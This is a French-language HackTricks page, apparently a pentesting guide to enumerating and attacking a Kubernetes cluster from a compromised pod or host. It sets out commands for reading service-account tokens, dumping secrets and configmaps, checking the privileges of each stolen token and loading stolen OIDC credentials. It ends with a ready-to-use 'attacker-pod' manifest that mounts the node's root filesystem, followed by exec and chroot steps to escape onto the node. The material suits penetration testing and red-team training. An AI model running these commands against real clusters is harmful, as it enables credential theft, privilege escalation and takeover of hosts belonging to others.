Kubernetes Enumeration

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Kubernetes Tokens

Si vous avez compromis l'accès à une machine, l'utilisateur peut avoir accès à une certaine plateforme Kubernetes. Le token se trouve généralement dans un fichier pointé par la var env KUBECONFIG ou dans ~/.kube.

Dans ce dossier, vous pourriez trouver des fichiers de configuration avec tokens et configurations pour se connecter au serveur API. Dans ce dossier, vous pouvez également trouver un dossier de cache avec des informations précédemment récupérées.

Si vous avez compromis un pod dans un environnement kubernetes, il existe d'autres endroits où vous pouvez trouver des tokens et des informations sur l'environnement K8 actuel :

Service Account Tokens

Avant de continuer, si vous ne savez pas ce qu'est un service dans Kubernetes, je vous suggérerais de suivre ce lien et de lire au moins les informations sur l'architecture Kubernetes.

Extrait de la documentation Kubernetes :

“Lorsque vous créez un pod, si vous ne spécifiez pas de compte de service, il se voit automatiquement attribuer le compte de service par défaut dans le même namespace.”

ServiceAccount est un objet géré par Kubernetes et utilisé pour fournir une identité aux processus qui s'exécutent dans un pod. Chaque compte de service a un secret qui lui est associé et ce secret contient un token porteur. C'est un JSON Web Token (JWT), une méthode pour représenter des revendications de manière sécurisée entre deux parties.

Généralement, un des répertoires :

• /run/secrets/kubernetes.io/serviceaccount

• /var/run/secrets/kubernetes.io/serviceaccount

• /secrets/kubernetes.io/serviceaccount

contient les fichiers :

• ca.crt : C'est le certificat ca pour vérifier les communications kubernetes

• namespace : Il indique le namespace actuel

• token : Il contient le token de service du pod actuel.

Maintenant que vous avez le token, vous pouvez trouver le serveur API dans la variable d'environnement KUBECONFIG. Pour plus d'infos, exécutez (env | set) | grep -i "kuber|kube"

Le token du compte de service est signé par la clé résidant dans le fichier sa.key et validé par sa.pub.

Emplacement par défaut sur Kubernetes :

• /etc/kubernetes/pki

Emplacement par défaut sur Minikube :

• /var/lib/localkube/certs

Hot Pods

Les hot pods sont des pods contenant un token de compte de service privilégié. Un token de compte de service privilégié est un token qui a la permission d'effectuer des tâches privilégiées telles que lister des secrets, créer des pods, etc.

RBAC

Si vous ne savez pas ce qu'est RBAC, lisez cette section.

GUI Applications

• k9s : Une interface graphique qui énumère un cluster kubernetes depuis le terminal. Vérifiez les commandes sur https://k9scli.io/topics/commands/. Écrivez :namespace et sélectionnez tout pour ensuite rechercher des ressources dans tous les namespaces.

• k8slens : Il offre quelques jours d'essai gratuit : https://k8slens.dev/

Enumeration CheatSheet

Pour énumérer un environnement K8s, vous avez besoin de quelques éléments :

• Un token d'authentification valide. Dans la section précédente, nous avons vu où chercher un token utilisateur et un token de compte de service.

• L'adresse (https://host:port) de l'API Kubernetes. Cela peut généralement être trouvé dans les variables d'environnement et/ou dans le fichier de configuration kube.

• Optionnel : Le ca.crt pour vérifier le serveur API. Cela peut être trouvé aux mêmes endroits que le token. Cela est utile pour vérifier le certificat du serveur API, mais en utilisant --insecure-skip-tls-verify avec kubectl ou -k avec curl, vous n'en aurez pas besoin.

Avec ces détails, vous pouvez énumérer kubernetes. Si l'API est accessible pour une raison quelconque via l'Internet, vous pouvez simplement télécharger ces informations et énumérer la plateforme depuis votre hôte.

Cependant, généralement, le serveur API est à l'intérieur d'un réseau interne, donc vous devrez créer un tunnel à travers la machine compromise pour y accéder depuis votre machine, ou vous pouvez télécharger le kubectl binaire, ou utiliser curl/wget/anything pour effectuer des requêtes HTTP brutes au serveur API.

Differences between list and get verbs

Avec les permissions get, vous pouvez accéder aux informations d'actifs spécifiques (option describe dans kubectl) API :

GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

Si vous avez la permission list, vous êtes autorisé à exécuter des requêtes API pour lister un type d'actif (get option dans kubectl):

#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments

Si vous avez la permission watch, vous êtes autorisé à exécuter des requêtes API pour surveiller les actifs :

GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name}  [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments  [DEPRECATED]
GET /apis/apps/v1/watch/deployments  [DEPRECATED]

Ils ouvrent une connexion de streaming qui vous renvoie le manifeste complet d'un Deployment chaque fois qu'il change (ou lorsqu'un nouveau est créé).

Les commandes kubectl suivantes indiquent comment lister les objets. Si vous souhaitez accéder aux données, vous devez utiliser describe au lieu de get

Utilisation de curl

Depuis l'intérieur d'un pod, vous pouvez utiliser plusieurs variables d'environnement :

export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.

Par défaut, le pod peut accéder au serveur kube-api dans le nom de domaine kubernetes.default.svc et vous pouvez voir le réseau kube dans /etc/resolv.config car ici vous trouverez l'adresse du serveur DNS kubernetes (le ".1" du même réseau est le point de terminaison kube-api).

Utilisation de kubectl

Ayant le token et l'adresse du serveur API, vous utilisez kubectl ou curl pour y accéder comme indiqué ici :

Par défaut, l'APISERVER communique avec le schéma https://

alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces

si https:// n'est pas présent dans l'URL, vous pourriez obtenir une erreur comme Bad Request.

Vous pouvez trouver un cheat sheet kubectl officiel ici. L'objectif des sections suivantes est de présenter de manière ordonnée différentes options pour énumérer et comprendre le nouveau K8s auquel vous avez obtenu accès.

Pour trouver la requête HTTP que kubectl envoie, vous pouvez utiliser le paramètre -v=8

MitM kubectl - Proxyfying kubectl

# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true

Configuration Actuelle

Kubectl

kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context

# Change namespace
kubectl config set-context --current --namespace=<namespace>

Si vous avez réussi à voler les identifiants de certains utilisateurs, vous pouvez les configurer localement en utilisant quelque chose comme :

kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )

Obtenir les ressources prises en charge

Avec ces informations, vous saurez tous les services que vous pouvez lister

kubectl

k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace

Obtenir les privilèges actuels

kubectl

k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace

# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>

API

kurl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' \
--data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
"https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"

Une autre façon de vérifier vos privilèges est d'utiliser l'outil : https://github.com/corneliusweig/rakkess****

Vous pouvez en apprendre davantage sur Kubernetes RBAC dans :

Kubernetes Role-Based Access Control(RBAC)

Une fois que vous savez quels privilèges vous avez, consultez la page suivante pour déterminer si vous pouvez en abuser pour escalader les privilèges :

Abusing Roles/ClusterRoles in Kubernetes

Obtenir les rôles des autres

kubectl

k get roles
k get clusterroles

API

kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500"
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500"

Obtenir des namespaces

Kubernetes prend en charge plusieurs clusters virtuels soutenus par le même cluster physique. Ces clusters virtuels sont appelés namespaces.

kubectl

k get namespaces

API

kurl -k -v https://$APISERVER/api/v1/namespaces/

Obtenir des secrets

kubectl

k get secrets -o yaml
k get secrets -o yaml -n custnamespace

API

kurl -v https://$APISERVER/api/v1/namespaces/default/secrets/

kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/

Si vous pouvez lire les secrets, vous pouvez utiliser les lignes suivantes pour obtenir les privilèges liés à chaque jeton :

for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done

Obtenir des Comptes de Service

Comme discuté au début de cette page lorsqu'un pod est exécuté, un compte de service lui est généralement attribué. Par conséquent, lister les comptes de service, leurs permissions et où ils s'exécutent peut permettre à un utilisateur d'escalader ses privilèges.

kubectl

k get serviceaccounts

API

kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts

Obtenir des Déploiements

Les déploiements spécifient les composants qui doivent être exécutés.

kubectl

k get deployments
k get deployments -n custnamespace

API

kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/deployments/

Obtenir des Pods

Les Pods sont les conteneurs réels qui vont s'exécuter.

kubectl

k get pods
k get pods -n custnamespace

API

kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/

Obtenir des services

Les services Kubernetes sont utilisés pour exposer un service sur un port et une IP spécifiques (qui agira comme un équilibreur de charge pour les pods qui offrent réellement le service). Il est intéressant de savoir où vous pouvez trouver d'autres services à essayer d'attaquer.

kubectl

k get services
k get services -n custnamespace

API

kurl -v https://$APISERVER/api/v1/namespaces/default/services/

Obtenir les nœuds

Obtenez tous les nœuds configurés à l'intérieur du cluster.

kubectl

k get nodes

API

kurl -v https://$APISERVER/api/v1/nodes/

Obtenir les DaemonSets

DaeamonSets permet de s'assurer qu'un pod spécifique s'exécute sur tous les nœuds du cluster (ou sur ceux sélectionnés). Si vous supprimez le DaemonSet, les pods gérés par celui-ci seront également supprimés.

kubectl

k get daemonsets

API

kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets

Obtenir un cronjob

Les cron jobs permettent de planifier à l'aide d'une syntaxe similaire à crontab le lancement d'un pod qui effectuera une action.

kubectl

k get cronjobs

API

kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs

Obtenir configMap

configMap contient toujours beaucoup d'informations et de fichiers de configuration qui sont fournis aux applications qui s'exécutent dans le kubernetes. En général, vous pouvez trouver beaucoup de mots de passe, de secrets, de jetons utilisés pour se connecter et valider d'autres services internes/externes.

kubectl

k get configmaps # -n namespace

API

kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps

Obtenir des politiques réseau / Politiques réseau Cilium

Premier onglet

k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies

Obtenir Tout / Tout

kubectl

k get all

Obtenez toutes les ressources gérées par helm

kubectl

k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'

Obtenir les consommations des Pods

kubectl

k top pod --all-namespaces

Évasion du pod

Si vous êtes capable de créer de nouveaux pods, vous pourriez être en mesure de vous échapper d'eux vers le nœud. Pour ce faire, vous devez créer un nouveau pod en utilisant un fichier yaml, passer au pod créé, puis chroot dans le système du nœud. Vous pouvez utiliser des pods déjà existants comme référence pour le fichier yaml, car ils affichent des images et des chemins existants.

kubectl get pod <name> [-n <namespace>] -o yaml

si vous avez besoin de créer un pod sur un nœud spécifique, vous pouvez utiliser la commande suivante pour obtenir les étiquettes sur le nœud

k get nodes --show-labels

En général, kubernetes.io/hostname et node-role.kubernetes.io/master sont de bonnes étiquettes à sélectionner.

Ensuite, vous créez votre fichier attack.yaml

apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
#  kubernetes.io/hostname: master
# or using
#  node-role.kubernetes.io/master: ""

original yaml source

Après cela, vous créez le pod

kubectl apply -f attacker.yaml [-n <namespace>]

Maintenant, vous pouvez passer au pod créé comme suit

kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file

Et enfin, vous chroot dans le système du nœud.

chroot /root /bin/bash

Information obtenue à partir de : Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1 Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1

Références

Kubernetes Pentest Methodology Part 3CyberArk

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE) Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

• Consultez les plans d'abonnement !

• Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.

• Partagez des astuces de hacking en soumettant des PRs aux HackTricks et HackTricks Cloud dépôts github.